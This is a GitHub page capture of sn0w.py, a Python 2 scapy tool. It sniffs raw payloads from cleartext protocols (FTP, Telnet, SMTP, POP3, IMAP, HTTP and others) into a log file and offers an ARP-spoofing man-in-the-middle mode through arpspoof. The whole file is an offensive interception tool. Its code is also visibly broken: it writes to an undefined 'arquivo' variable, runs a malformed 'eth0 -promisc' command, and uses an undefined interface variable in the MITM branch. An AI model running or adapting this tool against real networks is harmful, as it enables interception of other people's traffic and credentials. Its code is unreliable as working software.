-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathsn0w.py
150 lines (131 loc) · 6.32 KB
/
sn0w.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python
#coding: utf-8
from scapy.all import *
from scapy.error import Scapy_Exception
__AUTHOR__ = "s0ph0s"
def Ban():
os.system("clear")
print """\033[1;36m
██████ ███▄ █ ▒█████ █ █░
▒██ ▒ ██ ▀█ █ ▒██▒ ██▒▓█░ █ ░█░
░ ▓██▄ ▓██ ▀█ ██▒▒██░ ██▒▒█░ █ ░█
▒ ██▒▓██▒ ▐▌██▒▒██ ██░░█░ █ ░█
▒██████▒▒▒██░ ▓██░░ ████▓▒░░░██▒██▓
▒ ▒▓▒ ▒ ░░ ▒░ ▒ ▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒
░ ░▒ ░ ░░ ░░ ░ ▒░ ░ ▒ ▒░ ▒ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░
░ ░ ░ ░ ░
\033[1;m"""
def Men():
Ban()
print "\033[1;34m Select from Menu: \n\n[1] Capture all packets \n[2] Filter packets/protocol\n[3] MiTM ON/OF\n\n[0] Exit\n\033[1;m"
op = raw_input ("\033[1;34mSelect> \033[1;m")
Snin0w(op)
def Snin0w(op):
if op == "1":
net_interface = raw_input ("\033[1;34mInsert your network interface: \033[1;m")
fil = open("sniffer_output", "a") # creating log file
os.system("ifconfig %s promisc"%(net_interface)) # promisc mode
def s0ph0s_TCP(snin):
if snin.haslayer(TCP) and snin.haslayer(Raw): # all services
print snin.getlayer(Raw).load
fil.write("%s \r\n" % snin.getlayer(Raw))
sniff(iface=net_interface, prn=s0ph0s_TCP, store=0) # store = 0; not allocate in memory
fil.close()
os.system("eth0 %s -promisc" %(net_interface))
elif op == "2":
os.system("clear")
Ban()
print "\033[1;34m Select from Menu: \n\n[1] Listen Port \n[2] Listen Protocol\n\n[0] Back\n\033[1;m"
op_1 = raw_input ("\033[1;34mSelect> \033[1;m")
if op_1 == "1":
net_interface = raw_input ("\033[1;34mInsert your network interface: \033[1;m")
filter_message = raw_input("\033[1;34mInsert Port: \033[1;m")
fil = open("sniffer_output", "a") # creat log file
os.system("ifconfig %s promisc"%(net_interface))
def s0ph0s_TCP(snin):
if filter_message == "21":
if snin.haslayer(TCP) and snin.getlayer(TCP).dport == 21 and snin.haslayer(Raw): # FTP
print snin.getlayer(Raw).load
arquivo.write("%s \r\n" % snin.getlayer(Raw))
if filter_message == "22":
if snin.haslayer(TCP) and snin.getlayer(TCP).dport == 22 and snin.haslayer(Raw): # SSH
print snin.getlayer(Raw).load
arquivo.write("%s \r\n" % snin.getlayer(Raw))
if filter_message == "23":
if snin.haslayer(TCP) and snin.getlayer(TCP).dport == 23 and snin.haslayer(Raw): # TELNET
print snin.getlayer(Raw).load
arquivo.write("%s \r\n" % snin.getlayer(Raw))
if filter_message == "25":
if snin.haslayer(TCP) and snin.getlayer(TCP).dport == 25 and snin.haslayer(Raw): # SMTP
print snin.getlayer(Raw).load
arquivo.write("%s \r\n" % snin.getlayer(Raw))
if filter_message == "80":
if snin.haslayer(TCP) and snin.getlayer(TCP).dport == 80 and snin.haslayer(Raw): # HTTP
print snin.getlayer(Raw).load
arquivo.write("%s \r\n" % snin.getlayer(Raw))
if filter_message == "110":
if snin.haslayer(TCP) and snin.getlayer(TCP).dport == 110 and snin.haslayer(Raw): # POP3
print snin.getlayer(Raw).load
arquivo.write("%s \r\n" % snin.getlayer(Raw))
if filter_message == "143":
if snin.haslayer(TCP) and snin.getlayer(TCP).dport == 143 and snin.haslayer(Raw): # IMAP
print snin.getlayer(Raw).load
arquivo.write("%s \r\n" % snin.getlayer(Raw))
if filter_message == "133":
if snin.haslayer(TCP) and snin.getlayer(TCP).dport == 133 and snin.haslayer(Raw): # IRC
print snin.getlayer(Raw).load
arquivo.write("%s \r\n" % snin.getlayer(Raw))
if filter_message == "161":
if snin.haslayer(TCP) and snin.getlayer(TCP).dport == 161 and snin.haslayer(Raw): # SNMP
print snin.getlayer(Raw).load
arquivo.write("%s \r\n" % snin.getlayer(Raw))
if filter_message == "194":
if snin.haslayer(TCP) and snin.getlayer(TCP).dport == 194 and snin.haslayer(Raw): # IRC
print snin.getlayer(Raw).load
arquivo.write("%s \r\n" % snin.getlayer(Raw))
if filter_message == "513":
if snin.haslayer(TCP) and snin.getlayer(TCP).dport == 513 and snin.haslayer(Raw): # RLOGIN
print snin.getlayer(Raw).load
arquivo.write("%s \r\n" % snin.getlayer(Raw))
if filter_message == "119":
if snin.haslayer(TCP) and snin.getlayer(TCP).dport == 119 and snin.haslayer(Raw): # NNTP
print snin.getlayer(Raw).load
arquivo.write("%s \r\n" % snin.getlayer(Raw))
sniff(iface=net_interface, prn=s0ph0s_TCP, store=0) # store = 0 -> not allocate in memory
fil.close()
os.system("ifconfig %s -promisc" %(net_interface))
elif op_1 == "2":
net_interface = raw_input ("\033[1;34mInsert your network interface: \033[1;m")
filter_message=raw_input("\033[1;34mInsert Protocol: \033[1;m")
fil = open("sniffer_output.cap", "a") # creat log file
os.system("ifconfig %s promisc"%(net_interface))
def s0ph0s_TCP(snin):
if snin.haslayer(TCP) and snin.getlayer(TCP).dport == filter_message and snin.haslayer(Raw):
print snin.getlayer(Raw).load
arquivo.write("%s \r\n" % snin.getlayer(Raw))
sniff(iface=net_interface, prn=s0ph0s_TCP, store=0) # store = 0 -> not allocate in memory
fil.close()
os.system("ifconfig %s -promisc" %(net_interface))
elif op_1 == "0":
op = Men()
Snin0w(op)
elif op == "3":
os.system("clear")
print "\033[1;34m Select from Menu: \n\n[1] ON MiTM \n[2] OFF MiTM\n\n[0] Back \n\033[1;m"
op_3 = raw_input ("\033[1;34mSelect> \033[1;m")
if op_3 == "1":
os.system("echo “1” > /proc/sys/net/ipv4/ip_forward")
ip = raw_input ("\033[1;34mInsert your IP address: \033[1;m")
gw = raw_input ("\033[1;34mInsert your fake gateway: \033[1;m")
os.system("arpspoof -i %s -t %s %s" %(net_interface,ip,gw))
elif op_3 == "2":
os.system("echo “0” > /proc/sys/net/ipv4/ip_forward")
elif op_3 == "0":
Men()
elif op == "0":
os.system("exit")
try:
Men()
except KeyboardInterrupt:
print "\033[1;34m \n\nFinishing...\nBye :) \033[1;m"